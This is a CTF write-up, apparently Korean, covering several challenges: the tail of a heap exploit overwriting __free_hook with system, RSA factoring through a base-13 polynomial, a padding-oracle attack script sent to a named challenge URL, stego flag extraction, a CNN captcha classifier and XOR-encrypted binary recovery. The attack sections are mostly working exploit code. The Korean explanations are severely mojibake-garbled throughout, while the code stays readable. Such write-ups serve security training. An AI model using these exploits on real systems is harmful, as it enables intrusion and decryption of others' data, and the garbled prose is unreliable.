hidden(i, j, p64(libc+l.sym['__free_hook']-0x10)) #free_hook-0x10
create('A'*0x60)
add(i, p64(libc+l.sym['system']), 1, 1) #system
edit(0, 'X')
break
r.interactive()
๐ฅ๏ธ CRYPTO
Easy RSA
- ๋ฌธ์ ์์๋ ๊ณต๊ฐํค๋ง ์ ๊ณต๋๋ค. ์ฆ ์ด ๋ฌธ์ ์์๋ N์ factorizationํ๋ ๊ฒ ๋ชฉํ์ด๋ค.
- code์์ N์ ๊ฐ์ 13์ง๋ฒ์ผ๋ก ์ดํด๋ณด๋ผ๋ ํํธ๊ฐ ์ฃผ์ด์ก๋ค.
- N์ base 13์ผ๋ก ์ดํด๋ณด๋ฉด ์๋์ ๊ฐ๋ค.
1100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000019bba2
- ์ด๋ฅผ ๋คํญ์์ผ๋ก ๋ํ๋ด๋ฉด ์๋์ ๊ฐ๋ค.
x^400 + x^399 + x^203 + 3
x^202 + 10
x^201 + 4
x^200 + x^199 + x^5 + 9
x^4 + 11
x^3 + 11
x^2 + 10*x + 2 (x=13)
- sage์์ ํด๋น ๋คํญ์์
poly.factor()
๋ก factorizationํ๋ฉด p์ q๋ฅผ ๊ตฌํ ์ ์๋ค.
Exploit Code
sage: N = 4069355261174518447044221465092549731956949577068389562886621536859114995157407396913103746675307806861475505196604075690189887011157213
....: 06579441204391802579988679325559464933524679569288946633797366876605906618330862289486089133036525973648043594211930902803789362401571187621
....: 75215559436614871795165204002781471609204034064252028413035000407848466271441883438192490960762478416146403426890827177153457241880068131862
....: 173969477923674349247844851493
sage:
sage: N.str(base=13)
'1100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013a41000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000019bba2'
sage: poly = sum(e * x^i for i,e in enumerate(N.digits(13)))
sage:
sage: poly
x^400 + x^399 + x^203 + 3*x^202 + 10*x^201 + 4*x^200 + x^199 + x^5 + 9*x^4 + 11*x^3 + 11*x^2 + 10*x + 2
sage: poly.factor()
*** Warning: increasing stack size to 2000000.
(x^200 + x^199 + x^2 + 8*x + 2)*(x^200 + x^3 + x^2 + x + 1)
sage: p = 13^200 + 13^199 + 13^2 + 8*13 + 2
sage: q = 13^200 + 13^3 + 13^2 + 13 + 1
Boom Boom
๋ฌธ์ ํ์ธ
ํ ๋ฌ๋จ์ฒด์์ ํญํํ ๋ฌ๊ฐ ์์ ์์ ์ด๋ผ๋ ์ฒฉ๋ณด๋ฅผ ์ ์ํ๋ค....(์๋ต)... ์ํธ๋ฌธ์ ๋ณตํธํํ๊ณ ์ํธ ํด์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ๋ํด๋ผ!
- ๋ฌธ์ ์ ์ ์ํ๋ฉด ๋ฉ์์ง์ ํจ๊ป IV์ Ciphertext๋ฅผ ํ์ธํ ์ ์๋ค.
- ํ์ด์ง์ ์๋ก ์ ์ํ ๋๋ง๋ค ์๋ก์ด IV์ Ciphertext๋ฅผ ์ถ๋ ฅํด์ค๋ค.
๊ธฐ๋ฅํ์ธ
Module
ํ์ด์ง์์๋IV
์Ciphertext
๋ฅผ ์ ๋ ฅํ ์ ์๋ค.
Flag
ํ์ด์ง์์๋Passcode
๋ฅผ ์ ๋ ฅํ ์ ์๋ค. ์ฌ๋ฐ๋ฅธPasscode
๋ฅผ ์ ๋ ฅํ๋ฉดFlAG
๋ฅผ ์ถ๋ ฅํ๋ค.
๋ถ์
- Module ํ์ด์ง์์๋ ์ด 3๊ฐ์ง์ ์๋ต์ด ์กด์ฌํ๋ค.
1) Invalid padding
- IV๊ฐ ์๋ง์ง ์์ ๊ฒฝ์ฐ ๋ฐ์(Padding error)
2) incoreect!
- Padding์ ์๋ง๊ฒ ์ฑ์์ง ๊ฒฝ์ฐ
3) correct!
- IV์ Ciphertext ๋ชจ๋ ์๋ง์ ๊ฒฝ์ฐ ๋ฐ์
Oracle Padding Attack ๊ฐ๋
- ์ทจ์ฝ์ ์ค๋ช
- ๋ธ๋ก์ํธ์์ ์ฌ์ฉ๋๋ ํจ๋ฉ์ด, ์ฌ๋ฐ๋ฅธ์ง ์ฌ๋ฐ๋ฅด์ง ์์์ง์ ๋ฐ๋ผ ์๋ฒ์ ์๋ต์ด ๋ฌ๋ผ์ง ๊ฒฝ์ฐ ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์ ์ํ ํ ์ ์๋ค.
- ํจ๋ฉ์ด๋?
- ๋ธ๋ก ์ํธํํด์ ์ฌ์ฉํ๋ ๊ฒ์ผ๋ก, ์ผ์ ๋จ์๋ก ๋ธ๋ก์ ์๋ฅผ๋ ๋ง์ง๋ง ๋ธ๋ก์ ์ ๋ธ๋ก๊ณผ ๊ฐ์ ๊ธธ์ด๋ก ๋ง๋ค์ด์ฃผ๊ธฐ ์ํด ๋จ๋ ๊ณณ์ ํจ๋ฉ์ผ๋ก ์ฑ์ด๋ค.
- ์ค๋ผํด ํจ๋ฉ์ ๊ฒฝ์ฐ, 5byte๊ฐ ๋จ์์ผ๋ฉด 0x05๋ก 5byte๋ฅผ ์ฑ์ฐ๊ณ 2byte๊ฐ ๋จ์์ผ๋ฉด 0x02๋ก 2byte๋ฅผ ์ฑ์ด๋ค.
- ๋ง์ฝ ํ๋ฌธ์ด 8byte์ผ ๊ฒฝ์ฐ ๋ค์ ๋ธ๋ก์ ๋ชจ๋ 0x08๋ก 8byte ์ฑ์ด๋ค.
- ์ํธํ๋ฅผ ์ํํ๋ ๊ณผ์ ์ ์ ๊ทธ๋ฆผ๊ณผ ๊ฐ๋ค.
- iv์ plain text๋ฅผ xor ํ์ฌ Intermediary Value๋ฅผ ์ป๊ณ ๊ทธ ๊ฐ์ 3DES ์ํธํ ๋ฐฉ์์ ๊ฑฐ์ณ ์ํธ๋ฌธ์ผ๋ก ๋์จ๋ค.
- ์ดํ ๊ทธ ์ํธ๋ฌธ์ iv๋ก ์ฌ์ฉํ๋ค.
- ์ฆ ์ํธ๋ฌธ์, IV+์ํธ๋ธ๋ญ1+์ํธ๋ธ๋ญ2๋ก ์ด๋ค์ง๋ค.
- ๋ณตํธํ ๊ณผ์ ์ ์ดํด๋ณด๋ฉด ์ ๊ทธ๋ฆผ๊ณผ ๊ฐ๋ค. ์ํธ๋ฌธ์ 3DES๋ก ๋ณตํธํ ํ์ฌ Intermediary Value ๊ฐ์ ์ป๋๋ค.
- ์ดํ IV์ Intermediary Value๋ฅผ XOR ํ์ฌ plain ๊ฐ์ ์ป๋๋ค.
- IV์ Intermediary Value ๊ฐ์ XOR ํ plain ๋ธ๋ญ์ ๋ง์ง๋ง ๊ฐ(ํจ๋ฉ ๋ถ๋ถ)์ด 0x01์ด ๋๋ IV ๋ง์ง๋ง ๊ฐ ์ฐพ๊ณ , 0x01๊ณผ ๊ทธ IV ๋ง์ง๋ง ๊ฐ์ XOR ํ๋ฉด Intermediary์ ๋ง์ง๋ง ๊ฐ์ ์ ์ ์๋ค.
- ๋์ผํ ๋ฐฉ์์ผ๋ก 0x01 ๋ถํฐ 0x08๊น์ง ํจ๋ฉ์ ๊ฐ์ ํ์ฌ IV ๊ฐ์ ๋ณ๊ฒฝํ๋ฉฐ ์๋ฒ๋ก ์์ฒญ์ ์ํํ๊ณ , invalid ์๋ต์ ๊ฒฝ์ฐ์ ๊ฐ์ iv๋ก ๋๊ณ ๊ทธ๋์ ํจ๋ฉ ๊ฐ๊ณผ xor ํ์ฌ intermediary value ๊ฐ์ ์ป์ ์ ์๊ณ intermediary value ๊ฐ๊ณผ ์ด๋ฏธ ์๊ณ ์๋ iv ๊ฐ์ xor ํ์ฌ plain ๊ฐ์ ์ป์ ์ ์๋ค.
FlAG ํ๋!
Exploit code
import base64
from urllib.parse import quote, unquote
import binascii
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# paload send
def send_payload(s, payload_iv, payload_ciphertext):
# variable initialization
url = ""
headers = {}
params = {}
data = {}
# URL setting
url = 'http://1-star.kr/onestar/padding/module.php'
# params setting
params = {'iv': base64.b64encode(payload_iv), 'ciphertext': base64.b64encode(payload_ciphertext)}
# data setting
data = OrderedDict()
# send packet
r = s.get(url, params=params, verify=False)
return r.text
def xor(data, key):
output = bytearray()
for i, ch in enumerate(data):
output.append(ch ^ key[i % len(key)])
return bytes(output)
# hex
def hex_view(data):
temp = data.hex()
ret = ""
for i in range(0, len(temp), 2):
ret += temp[i:i+2] + " "
return ret
iv=base64.b64decode(unquote("QjA2bGwxVTM%3D"))
enc=base64.b64decode(unquote("EJA3gltQjV4%3D"))
inter=b''
s = requests.Session()
print("I V => {}".format(hex_view(iv)))
print("ENC => {}".format(hex_view(enc)))
#make iv 1~len(iv)+1
for i in range(1,len(iv)+1):
print ("===========================================")
print ("i: ",i)
start = iv[:len(iv)-i]
print ("start: ", hex_view(start))
print ("bytes([i]): ", bytes([i]))
for j in range(0,0xff+1):
print ("j: ",j)
target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
res = send_payload(s, target, enc)
print("target: ", hex_view(target), "=>", target)
#print(hex_view(enc), "=>", enc)
#print(res)
if 'Invalid padding.' not in res:
print(res)
break
inter += bytes([i ^ j])
print("inter: ", hex_view(inter[::-1]))
print("inter: ", hex_view(inter[::-1]))
# inter xor iv => plain
inter = inter[::-1]
plain = xor(inter, iv)
print("plain =>", plain)
๐ฅ๏ธ MISC
'gif't
๋ฌธ์ ์ ๋ํ ๊ฐ๋จ ์ค๋ช
- ๋ฌธ์ ์ ๊ทธ๋ฆผ์์ gif ๊ทธ๋ฆผ์ ๋ณด๋ฉด ๋ฐ์ง์ด๋ ๊ธ์๊ฐ ๋ ์์น์์ ๋ฐ์ง์ด๋ ๊ฒ์ ๋ณผ ์ ์๋ค. ์ด ๊ทธ๋ฆผ์ด ๋ฌธ์ ํ์ผ์ด๋ค.
- ์ด gif ํ์ผ์ ๋ณด๋ฉด 16์ง์๋ก ๋ ๊ฐ์ ๊ธ์๊ฐ ์๋ค๊ฐ๋ค ํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
- ํ์ดํ๋ ๋ฐฉ๋ฒ์ ๋ค์ํ๊ฒ ์์ ์ ์๊ธฐ ๋๋ฌธ์ ํ๋ํ๋ ์ค๋ช ํ์ง ์๊ณ , ํ์ผ ๋ด๋ถ์ gif ๊ตฌ์ฑ์ ๋ณด์ฌ์ฃผ๋๋ก ํ๊ฒ ๋ค.
- ์์ ๊ฐ์ด ์ด๋ฏธ์ง๋ฅผ ๋ณผ ์ ์๋๋ฐ, ์ด๋ฅผ ์ญ์ฑ ๋ฐ๋ผ ์์ฑํ์ฌ 16์ง์๋ฅผ ascii๋ก ๋ณํํ๊ฒ ๋๋ฉด flag๋ฅผ ์ป์ ์ ์๋ ๊ฐ๋จํ ๋ฌธ์ ๋ค.
Hide And Seek
- ์ฃผ์ด์ง ์ด๋ฏธ์ง์์ A๊ฐ(ํฌ๋ช ๋)๊ฐ 0xFF๊ฐ ์๋ ์ขํ๋ค๊ณผ ๊ทธ ์ขํ์ ํด๋นํ๋ Pixel์ R,G,B,A ๊ฐ๋ค์ ์ถ์ถํ๋ฉด ์๋์ ๊ฐ๋ค.
(x,y) => (r,g,b,a)
===============================
(1,416) => (13,110,20,170) => 'n'
(32,1172) => (0,103,0,167) => 'g'
(45,967) => (15,105,24,163) => 'i'
(113,1004) => (17,71,28,172) => 'G'
(160,1010) => (17,66,26,174) => 'B'
(161,704) => (16,116,25,176) => 't'
(192,110) => (17,70,35,154) => 'F'
(289,983) => (17,98,28,152) => 'b'
(301,736) => (17,95,26,173) => '_'
(312,1265) => (0,103,0,157) => 'g'
(359,887) => (17,64,27,156) => '@'
(395,600) => (202,95,163,161) => '_'
(415,45) => (18,105,36,175) => 'i'
(445,1106) => (17,98,33,150) => 'b'
(453,256) => (202,105,163,169) => 'i'
(456,783) => (18,105,30,159) => 'i'
(480,433) => (31,95,57,171) => '_'
(533,833) => (20,110,34,166) => 'n'
(557,90) => (25,95,44,168) => '_'
(643,1106) => (17,111,33,151) => 'o'
(668,818) => (17,123,27,153) => '{'
(674,677) => (30,105,34,165) => 'i'
(686,55) => (18,100,36,164) => 'd'
(801,54) => (17,108,35,155) => 'l'
(917,292) => (18,36,35,177) => '$'
(968,574) => (15,72,25,162) => 'H'
(970,1039) => (0,125,0,178) => '}'
(972,801) => (17,95,29,158) => '_'
(987,922) => (17,115,26,160) => 's'
- ์ ๊ฐ๋ค์์ ์ค์ํ ๊ฐ๋ค์ G์ ํด๋นํ๋ ๊ฐ๋ค๊ณผ A์ ํด๋นํ๋ ๊ฐ๋ค์ด๋ค.
- G๋ Flag์ ๊ฐ ๋ฌธ์๋ค์ ์๋ฏธํ๋ฉฐ, A๋ ๋ฌธ์๋ค์ Index๋ฅผ ์๋ฏธํ๋ค.
- G ๊ฐ๋ค์ A์ ๊ฐ์ ๋ฐ๋ผ ๋์ดํ๋ฉด Flag๋ฅผ ์ถ์ถํ ์ ์๋ค.
- Flag : bob{Fl@g_is_Hiding_in_G_Bit$}
Catcha
์ถ์ ์๋๋ ์ผ์ข
์ '์๋ ์์ฌ ๊ฒฐ์ ๊ธฐ
'๋ฅผ ๋ง๋ค ์ ์๋๊ฐ?' ์ด๋ค.
์๋ํ๋ ํ์ด๋ ์ฌ์ค CNN๊ณผ GAN์ ์ ์ ํ ์์ด ํ๋์ ์์๋ธ ๋ชจ๋ธ์ ์ปดํ์ผํ๊ณ ์ฃผ์ด์ง ๋ฐ์ดํฐ์
์ผ๋ก ํ์ต ํ ์ ๋ต์ ์์ธก
ํ๋ ๊ฒ์ด์์ผ๋, ๋ฌธ์ ์ ๋์ด๋๋ฅผ ํํฅ ์กฐ์ ํ๋ค ๋ณด๋(...) ๋ฌธ์ ์ ์ ๊ณต๋๋ ๋ฐ์ดํฐ์
์ ์ ๋ถ ์ ๊ณตํ๊ฒ ๋์๊ณ , ๊ทธ๋ก ์ธํด ๋ฐ๋ก ๋ชจ๋ธ์ ์ปดํ์ผํ์ง ์๊ณ ์ฃผ์ด์ง ๋ฐ์ดํฐ์
์ผ๋ก ์ผ์ข
์ hash table์ ๋ง๋ค์ด ๋ฌธ์ ๋ฅผ ํ์ดํ ์ ์๋ค.
๋จธ์ ๋ฌ๋์ผ๋ก ํ๊ธฐ
๋ถ๋ฅํด์ผ ํ ๋ฐ์ดํฐ๊ฐ ์ด๋ฏธ์ง์ด๊ธฐ ๋๋ฌธ์ CNN(Convolutional Neural Network) ๋ชจ๋ธ
์ ์ฌ์ฉํ๋ค. ์ฃผ์ด์ง ๋ฐ์ดํฐ์
์ ์ด๋ฏธ์ง ์ฌ์ด์ฆ๊ฐ ๋ชจ๋ ์ ๊ฐ๊ฐ์ด๊ธฐ ๋๋ฌธ์ ์ด๋์ ๋์ preprocessingย ์ด ํ์ํ๋ค. ๋ํ ํ๋ จ์ ์ฐ์ฐ๋์ ์ค์ฌ ํ๋ จ ํจ์จ์ ๋์ด๊ธฐ ์ํด ์ด๋ฏธ์ง๋ฅผ grayscale๋ก ๋ณํํ๋ค.
- ์ด๋ฏธ์ง ์ ์ฒ๋ฆฌ (Preprocessing)
import numpy as np import pandas as pd import cv2 import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Flatten, Dropout, Activation, Conv2D, MaxPooling2D path = './dataset/train' X = [] y = [] # target convert = lambda category : int(category == 'dog') def preprocess(path): for p in os.listdir(path): category = p.split(".")[0] category = convert(category) img_array = cv2.imread(os.path.join(path,p),cv2.IMREAD_GRAYSCALE) new_img_array = cv2.resize(img_array, dsize=(80, 80)) X.append(new_img_array) y.append(category) # preprocess the data preprocess(path) X = np.array(X).reshape(-1, 80,80,1) y = np.array(y) # normalize data X = X/255.0
- ๋ชจ๋ธ ๋น๋ ๋ฐ ์ปดํ์ผ
model = Sequential() # add a densely-connected layer with 64 units to the model: model.add(Conv2D(64,(3,3), activation = 'relu', input_shape = X.shape[1:])) model.add(MaxPooling2D(pool_size = (2,2))) # add another layer: model.add(Conv2D(64,(3,3), activation = 'relu')) model.add(MaxPooling2D(pool_size = (2,2))) model.add(Flatten()) model.add(Dense(64, activation='relu')) # add a softmax layer with 10 output units: model.add(Dense(1, activation='sigmoid')) model.compile(optimizer="adam", loss='binary_crossentropy', metrics=['accuracy'])
- ๋ชจ๋ธ ํ์ต
model.fit(X, y, epochs=10, batch_size=32, validation_split=0.2)
- ์ด๋ฏธ์ง ์์ธก
cv2.imread(path, cv2.IMREAD_GRAYSCALE) # resize cv2.resize(img_array, dsize=(80,80)) # reshape data = np.array(data).reshape(-1,80,80,1) # normalize data = data/255.0 # predict model.predict(data)
์ดํ, ํ์ตํ ๋ชจ๋ธ์ ์ด์ฉํด ๋ฌธ์ ์ด๋ฏธ์ง๋ฅผ ์ค์๊ฐ์ผ๋ก ๋ฐ์์ค๊ณ ๋ฌธ์ ์ ์ ๋ต์ ์์ธกํ ๋ค ์ ๋ต์ ์๋ฒ๋ก ์ ์กํ๋ฉด ๋๋ค.
hashtable๋ก ํ๊ธฐ
์์ค์ฝ๋์ ๋์์๋ kaggle competition์ ์ ์ํ์ฌ ์ฃผ์ด์ง ๋ฐ์ดํฐ์ ์ ๋ชจ๋ ๋ค์ด๋ก๋ ๋ฐ์ ๋ค์ hash table ์ ์ ์ํ๋ค. ์ดํ ๋ฌธ์ ์ด๋ฏธ์ง์ ํด๋นํ๋ hash๋ฅผ ์ด์ฉํ์ฌ ๋ฌธ์ ์ ์ ๋ต์ ๊ตฌํ๋ค.
verrox
1. xor key
- ๋ฐ์ด๋๋ฆฌ๋ฅผ hexdump, hxd ๋ฑ์ผ๋ก ์ดํด๋ณด๋ฉด 0x231f33f2aa2d7ed2๊ฐ ์๋นํ ๋ง์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
- 8๋ฐ์ดํธ ๋จ์๋ก 0x231f...๊ฐ ๋ฐ๋ณต๋๊ณ ์๊ธฐ ๋๋ฌธ์ 8๋ฐ์ดํธ ๋จ์๋ก xor ์ฐ์ฐ์ ํ๋ค๊ณ ๋ณผ ์ ์๋ค. ๋ํ, elf ๋ฐ์ด๋๋ฆฌ์ ๊ฒฝ์ฐ null byte์ ๋ฐ๋ณต์ด ๋ง๊ธฐ ๋๋ฌธ์ xor key๋ 0x231f33f2aa2d7ed2๋ก ๊ฐ์ ํ ์ ์๋ค.
2. ํ์ด
#coding: utf-8
import struct
data = b''
with open("verrox", "rb") as f:
data = f.read()
with open("xorrev", "wb") as f:
key = b"\x23\x1f\x33\xf2\xaa\x2d\x7e\xd2"
res = b""
for i in range(0, len(data)):
res += struct.pack("B", data[i]^key[i%8])
res = res[::-1]
f.write(res)
- ํด๋น xor key๋ฅผ ์ด์ฉํ์ฌ 8๋ฐ์ดํธ ๋จ์๋ก xor์ฐ์ฐ ํ reverse ํด์ฃผ๊ฒ ๋๋ฉด ์๋ณธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํ๋ํ ์ ์๋ค.
- ์ป์ด๋ธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
- FLAG : bob{royal_macaron_is_very_tasty_you_know?}